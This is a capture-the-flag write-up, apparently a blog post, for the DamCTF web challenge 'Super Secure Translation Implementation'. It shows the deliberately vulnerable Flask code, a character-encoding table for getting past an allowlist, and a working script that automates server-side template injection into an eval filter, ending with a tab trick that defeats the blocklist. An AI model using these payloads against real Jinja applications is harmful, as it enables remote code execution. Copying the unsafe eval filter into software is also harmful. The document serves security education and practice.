keyboard_arrow_up

title: Super Secure Translation Implementation
date: Nov 09, 2021
tags: Writeups DamCTF CTF_review Pwn Malware Misc Reverse Web EC2_2021 CheatSheets SQLi Programming Nmap Tools PyJails HeroCTF_v3 Steganography


super-secure-translation-implementation

59 solves / 470 points

Description: Get creative and try to bypass the unhackable security measures that keep this site safe.

Joined files:
    templates/
    Dockerfile
    flag
    README.md
    requirements.txt

Author: lyellread



This was the second and the last web challenge of the DamCTF event. This time, going to the main page, gives us the app.py file of a flask website.

Welcome to the Super Secure Translation Implementation (SSTI)
Who needs security by obscurity when your software anti-hack checks are flawless? Check them out below (this is the code that runs this site):

from flask import Flask, render_template, render_template_string, Response, request
import os

from check import detect_remove_hacks
from filters import *

server = Flask(__name__)

# Add filters to the jinja environment to add string
# manipulation capabilities
server.jinja_env.filters["u"] = uppercase
server.jinja_env.filters["l"] = lowercase
server.jinja_env.filters["b64d"] = b64d
server.jinja_env.filters["order"] = order
server.jinja_env.filters["ch"] = character
server.jinja_env.filters["e"] = e

@server.route("/")
@server.route("/<path>")
def index(path=""):
    # Show app.py source code on homepage, even if not requested.
    if path == "":
        path = "app.py"

    # Make this request hackproof, ensuring that only app.py is displayed.
    elif not os.path.exists(path) or "/" in path or ".." in path:
        path = "app.py"

    # User requested app.py, show that.
    with open(path, "r") as f:
        return render_template("index.html", code=f.read())

@server.route("/secure_translate/", methods=["GET", "POST"])
def render_secure_translate():
    payload = request.args.get("payload", "secure_translate.html")
    print(f"Payload Parsed: {payload}")
    resp = render_template_string(
        """{% extends "secure_translate.html" %}{% block content %}<p>"""
        + str(detect_remove_hacks(payload))
        + """</p><a href="/">Take Me Home</a>{% endblock %}"""
    )
    return Response(response=resp, status=200)

if __name__ == "__main__":
    port = int(os.environ.get("PORT", 30069))
    server.run(host="0.0.0.0", port=port, debug=False)

On this page we could get the following information:


We now can take a look to the secure translate page setting the payload parameter on "x" for example:

Welcome to the Super Secure Translation Implementation (SSTI)
We use several layers of military grade anti-hack checks to make sure this page is safe from common web vulnerabilities. This page will display your code back to you assuming it passes these checks.

Try it for yourself, but be mindful of HTML special characters like '+'! The output of your command is:

Failed Allowlist Check, payload-allowlist={'x'}

Take Me Home

Trying "{{7*7}}":

...
49
...

A this point, we can see that our payload seems to be interpreted but filtered. Before going further, we need to take a look at the 2 files that we found before.


check.py

from limit import is_within_bounds, get_golf_limit

def allowlist_check(payload, allowlist):
    # Check against allowlist.
    print(f"Starting Allowlist Check with {payload} and {allowlist}")
    if set(payload) == set(allowlist) or set(payload) <= set(allowlist):
        return payload
    print(f"Failed Allowlist Check: {set(payload)} != {set(allowlist)}")
    return "Failed Allowlist Check, payload-allowlist=" + str(
        set(payload) - set(allowlist)
    )

def detect_remove_hacks(payload):
    # This effectively destroyes all web attack vectors.
    print(f"Received Payload with length:{len(payload)}")

    if not is_within_bounds(payload):
        return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally."

    allowlist = [
        "c",
        "{",
        "}",
        "d",
        "6",
        "l",
        "(",
        "b",
        "o",
        "r",
        ")",
        '"',
        "1",
        "4",
        "+",
        "h",
        "u",
        "-",
        "*",
        "e",
        "|",
        "'",
    ]
    payload = allowlist_check(payload, allowlist)
    print(f"Allowlist Checked Payload -> {payload}")

    return payload

Perfect! In the check.py file, we find out the allow list! They do not mention in the file, but space chars can be used too. Moreover, we can see that our payload is restricted by a maximum length, trying by hand gives us 161. Before starting our attack let's take a look to the last file.


filters.py

import base64

def uppercase(x):
    return x.upper()

def lowercase(x):
    return x.lower()

def b64d(x):
    return base64.b64decode(x)

def order(x):
    return ord(x)

def character(x):
    return chr(x)

def e(x):
    # Security analysts reviewed this and said eval is unsafe (haters).
    # They would not approve this as "hack proof" unless I add some
    # checks to prevent easy exploits.

    print(f"Evaluating: {x}")

    forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]

    for y in forbidlist:
        if y in x:
            return "Eval Failed: Foridlist."

    if x[0:4] == "open" or x[0:4] == "eval":
        return "Not That Easy ;)"

    try:
        return eval(x)
    except Exception as exc:
        return f"Eval Failed: {exc}"

In this one, we could find everything we need before attacking this website. I said before that we were going to come back later on "jinja_env.filters" so, let's read jinja documentation to get more information about them:

Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is applied to the next.

For example, {{ name|striptags|title }} will remove all HTML Tags from variable name and title-case the output (title(striptags(name))).

Filters that accept arguments have parentheses around the arguments, just like a function call. For example: {{ listx|join(', ') }} will join a list with commas (str.join(', ', listx)).

The List of Builtin Filters below describes all the builtin filters.

All thoses informations might be confusing but, let's regroup all we have:


The tricky part comes now, in order to bypass all the filters, we had to use the ch fonction that permit us to convert decimal value to char. Example:

"(111+6-1)|ch" -> "t"
"(114+4)|ch" -> "v"
"(114+6-1)|ch" -> "w"


Using these chars, we just need to concatenate them and use e (eval) filter to get our injection ! So, after making it for all chars we obtain the following json file:

{
    "1": "1'", 
    "4": "4'", 
    "6": "6'",
    "b": "'b'", 
    "c": "'c'", 
    "d": "'d'", 
    "e": "'e'", 
    "h": "'h'", 
    "l": "'l'", 
    "o": "'o'", 
    "r": "'r'", 
    "u": "'u'", 
    "\"": "'\"'", 
    "#": "'#'", 
    "&": "'&'", 
    "'": "'", 
    "(": "'('", 
    ")": "')'", 
    "*": "'*'", 
    "-": "'-'", 
    "{": "'{'", 
    "|": "'|'", 
    "}": "'}'",
    "a": "(111-14)|ch",
    "f": "(6*(16+1))|ch",
    "g": "(111-6-1-1)|ch",
    "i": "(111-6)|ch",
    "j": "(111-4-1)|ch",
    "k": "(111-4)|ch",
    "m": "(111-1-1)|ch",
    "n": "(111-1)|ch",
    "p": "(111+1)|ch",
    "q": "(111+1+1)|ch",
    "s": "(111+4)|ch",
    "t": "(111+6-1)|ch",
    "v": "(114+4)|ch",
    "w": "(114+6-1)|ch",
    "x": "(114+6)|ch",
    "y": "(111+6+4)|ch",
    "z": "(16+6)|ch",
    "0": "(44+4)|ch",
    "2": "(44+6)|ch",
    "3": "(44+6+1)|ch",
    "5": "(46+6+1)|ch",
    "7": "(46+6+4-1)|ch",
    "8": "(46+6+4)|ch",
    "9": "(46+6+6-1)|ch",
    ".": "46|ch",
    "_": "(111-16)|ch",
    " ": "(44-6-6)|ch",
    "[": "(111-16-4)|ch",
    "]": "(111-14-4)|ch",
    "/": "(46+1)|ch",
    "\t": "(6+4-1)|ch"
}


The last thing we have to do effectively exploit the site is to automate the process and remove some useless situation like: "h"+"h" which could be written "hh".

The final script :

from bs4 import BeautifulSoup as bs
from html import unescape
from requests import get
from json import loads

with open("x.json", mode="r") as file:
    alphabete = loads(file.read())

def _(payload):
    final_payload = []
    for elem in payload:
        final_payload.append(f'{alphabete[elem]}')
    return '+'.join(final_payload)

while True:
    payload = input("\n> ")
    payload = _(payload).replace("'+'", '')
    payload = f"{{{{({payload})|e}}}}"

    print(f'\033[34;1mLength: \033[37m{len(payload)}/161, {161 - len(payload)} chars left\033[0m')

    # url encoding +
    payload = payload.replace('+', '%2B')
    url = f'https://super-secure-translation-implementation.chals.damctf.xyz/secure_translate/?payload={payload}'
    r = get(url)
    soup = bs(r.text, 'html.parser')

    if "Failed Allowlist Check" in r.text:
        output = soup.find("code").find("p").contents[0]
        print(f'\033[31m{output}\033[0m')
    elif "Internal Server Error" in r.text:
        print(f'\033[31mInternal Server Error\033[0m')
    elif "Payload is too long" in r.text:
        output = soup.find("code").find("p").contents[0]
        print(f'\033[31m{output}\033[0m')
    else:
        output = soup.find("code").find("p").contents[0]
        print(f'\033[34;1mOutput: \033[37m{unescape(output)}\033[0m')


At this point, we could think that we've done everything we need to flag this long chall. But no, eval function as its own filters:

filters

forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]

for y in forbidlist:
    if y in x:
        return "Eval Failed: Foridlist."

if x[0:4] == "open" or x[0:4] == "eval":
        return "Not That Easy ;)"

However, putting a simple tabulation before open bypass everything and gives use the flag!! ??

flag

Flag: dam{p4infu1_all0wl1st_w3ll_don3}